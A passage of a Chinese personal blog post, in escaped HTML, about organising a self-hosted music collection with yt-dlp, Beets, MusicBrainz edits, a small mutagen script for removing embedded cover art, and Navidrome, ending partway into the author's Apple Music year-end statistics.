&lt;p&gt;如果想把视频缩略图当成专辑封面嵌入音频文件，可以加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;--embed-thumbnail。不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的缩略图不是正方形的，要想用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yt-dlp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到正方形的缩略图，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yt-dlp&#x2F;yt-dlp&#x2F;issues&#x2F;980&quot;&gt;需要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FFmpeg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;裁剪&lt;&#x2F;a&gt;。我感觉裁剪命令太复杂了，况且可以用待会提到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自动下载封面，所以我就不用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;--embed-thumbnail&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;另外，指定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bestaudio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而不指定扩展名的话下载下来的音频大概率是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;128
Kb&#x2F;s&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;码率、48000
Hz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;采样率、Opus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编码的文件。从码率和编码的角度来看（假定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是用无损文件转的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Opus&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，128
Kb&#x2F;s&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Opus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经听不出和无损的差距了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.xiph.org&#x2F;Opus_Recommended_Settings#:~:text=Opus%20at%20128%C2%A0KB&#x2F;s%20(VBR)%20is%20pretty%20much%20transparent&quot;&gt;来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;XiphWiki&lt;&#x2F;a&gt;。有趣的是他们把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;错写成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B，变成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1024
Kb&#x2F;s&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才透明。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;当然，评判波的好坏不能只看参数，最重要的是人的感觉——这是我学完《数字图像处理》后唯一记得的话。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;悔不当初&quot;&gt;悔不当初&lt;&#x2F;h3&gt;
&lt;p&gt;去年的这个时候，我的朋友住在一个音乐爱好者的房子里。那房子的几个储物柜堆满了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和黑胶随便租客用。我要是那时动了整理音乐收藏的念头，就不用从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上下歌然后纠结音质问题了——直接从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里把整张专辑抓取下来就好了。&lt;&#x2F;p&gt;
&lt;p&gt;我打算等以后有自己的房子了再买&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自己抓。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;整理&quot;&gt;整理&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Beets&quot;&gt;Beets&lt;&#x2F;h3&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;navidrome&#x2F;navidrome&#x2F;issues&#x2F;1943#issuecomment-1301275911&quot;&gt;还是因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;&#x2F;a&gt;，我得知了音乐管理器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;beetbox&#x2F;beets&quot;&gt;&lt;ruby&gt;Beets&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;甜菜根&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;&lt;&#x2F;a&gt;的存在&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;我觉得用菜命名软件挺可爱的，另一款我喜欢的“菜软件”是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#%E5%88%B0%E5%BA%95%E7%94%A8%E5%93%AA%E6%AC%BELisp&quot;&gt;茴香&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;acoustid.org&#x2F;&quot;&gt;AcousticID&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;musicbrainz.org&#x2F;&quot;&gt;MusicBrainz&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;coverartarchive.org&#x2F;&quot;&gt;Cover
Art
Archive&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;补全歌曲的元数据和封面——当然，它还有很多别的功能，但这几个是最吸引我的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有类似的软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;picard.musicbrainz.org&#x2F;&quot;&gt;Picard&lt;&#x2F;a&gt;，但貌似不能在命令行里使用，所以我没用它。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230221_201137145-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230221_201137145-optim.jpg&quot;
	alt=&quot;甜菜根&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的功能很强大，但是得先在配置文件里开启各个插件才行。我只用它补充元数据、下封面，所以配置文件也很简单：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;directory&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 我放音乐的文件夹&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;plugins&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  fromfilename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  chroma&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  lastgenre&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  fetchart&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  move&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后对着下载好的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Opus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;导入即可。不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的设计思路其实是一口气导入整张专辑。&lt;s&gt;这让我这种一张专辑只听其中一两首的人感到怪异：在导入某张专辑的第二歌后需要两首一起重新匹配专辑数据。&lt;&#x2F;s&gt;我现在直接下载整张专辑了，所以感觉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这样挺方便。&lt;&#x2F;p&gt;
&lt;p&gt;其他功能我不多说了，还请各位阅读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;beets.readthedocs.io&#x2F;&quot;&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的文档&lt;&#x2F;a&gt;。&lt;s&gt;另外关于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets、MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;the
Cover Art
Archive，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.yossarian.net&#x2F;2022&#x2F;02&#x2F;21&#x2F;Enjoying-music-curation-again&quot;&gt;这有篇博客讲得不错&lt;&#x2F;a&gt;。&lt;&#x2F;s&gt;见下一小节。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;编辑MusicBrainz&quot;&gt;编辑&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;&#x2F;h3&gt;
&lt;p&gt;本来我以为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数据够全——毕竟是全世界的志愿者在维护，而且连新番《孤独摇滚》的曲子都有记录好几个版本。结果刚写完这篇博客第二天，就发现&lt;a rel=&quot;external&quot; title=&quot;Zunō Keisatsu&quot; href=&quot;https:&#x2F;&#x2F;musicbrainz.org&#x2F;artist&#x2F;39b0c648-aa32-4645-8e57-d949d1e4b396&quot;&gt;頭脳警察&lt;&#x2F;a&gt;的条目少好几张专辑。无奈，帮他们补了两张专辑。&lt;&#x2F;p&gt;
&lt;p&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;同样以专辑为核心整理音乐，而且他们区别了概念上的专辑和实际发行的专辑：当歌手说他发了新专辑时，是概念上的专辑；某个发行商发行专辑时，就会产生实际发行的专辑。前者在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中被称为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release
group，与地区、介质无关；后者被称为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release，包含地区、介质等信息。真不愧是全世界的数据库。&lt;&#x2F;p&gt;
&lt;p&gt;不过在添加数据库中缺失的专辑时可以直接添加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release，系统会自动添加包含那个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release
group。所以在添加时不用想太多，把所需信息填完就好了。在提交前的页面可以勾选“Make
all edits
votable&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，这样会有其他用户投票、指出需要修改的地方。添加完后有一种为人类做出贡献的感觉——虽然理论上来讲我每天都在为社会创造价值，但主要是以帮公司赚钱的形式完成的，不够透明。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;关于封面的插曲&quot;&gt;关于封面的插曲&lt;&#x2F;h3&gt;
&lt;p&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fetchart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件会把专辑封面下载到专辑目录里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cover.jpg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里，而不是嵌入到音乐文件里。最开始我以为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只能读取嵌入到音乐里的封面，所以我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;embedart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cover.jpg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再嵌到音乐里。&lt;&#x2F;p&gt;
&lt;p&gt;结果嵌完了发现本来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Opus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件直接变&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了——合着封面比音乐本身还大。发现这一点后我浑身都不舒服了。Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;embedart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件可以调整封面尺寸，然后我开始纠结&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;community.mp3tag.de&#x2F;t&#x2F;its-2022-what-size-cover-art-do-you-use&#x2F;57465&quot;&gt;合适的封面大小&lt;&#x2F;a&gt;。后来发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以调整&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ND_COVERARTPRIORITY&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来优先读取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cover.jpg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后，又想把嵌入的封面再抠出来节省空间（其实并不缺空间，只是一种洁癖&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;嵌好嵌，因为这是大众需求；抠难抠，因为这是小众需求——更何况不是抠&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3，而是抠&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Opus。晚上查了一圈后盯上了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets、yt-dlp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;picard&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都依赖的元数据修改库&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mutagen。好爽，又学了一招。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; mutagen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; File&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;**&#x2F;*.opus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; recursive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;metadata_block_picture&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;metadata_block_picture&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;save&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;播放&quot;&gt;播放&lt;&#x2F;h2&gt;
&lt;p&gt;这次整理音乐收藏的念头是由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而起的，所以当然会用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来做播放器了。&lt;&#x2F;p&gt;
&lt;p&gt;选中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因之一是听说它可以在内存只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;512MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的树莓派零上运行。我其实对各种程序需要多少内存没什么概念——因为现在连手机内存都以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为单位了，所以以为它真要用几百&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内存。实际使用时发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;44MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内存，回想起自己那台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;512MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内存的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;270MB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内存处在空闲状态，不禁开始后悔黑五时新租的两&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内存&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。要知道，用各种程序填满价格低廉的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也是有快感的——其爽点类似生存游戏的背包管理。&lt;&#x2F;p&gt;
&lt;p&gt;不过，总归是尝试了离开音乐订阅的方法。&lt;s&gt;只不过收集和整理音乐实属麻烦，说不准几天后我还会再写一篇《音乐订阅，我又回来了&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;s&gt;三个月过去了，没觉得这套方法麻烦到要重返音乐订阅。不过确实还有许多歌曲没有下回来。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Bonus_Track：今年的苹果音乐统计&quot;&gt;Bonus Track：今年的苹果音乐统计&lt;&#x2F;h2&gt;
&lt;p&gt;年底了，经常和我聊音乐的朋友突然告诉我苹果音乐也有个人年度统计。我发现结果挺有趣——正好刚写完一篇关于听音乐的博客，就把年度统计的结果补充进去吧。&lt;&#x2F;p&gt;
&lt;p&gt;去年我总共在苹果音乐上听了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1,753&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;首歌，共&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19,786&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟——相当于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13.7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;天，或者一年的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3.8%（可能在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上听歌的时间要比在苹果音乐上长，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上曲目更多&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;歌曲回放数前十名：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;明天会更好&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，110&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；&lt;&#x2F;li&gt;
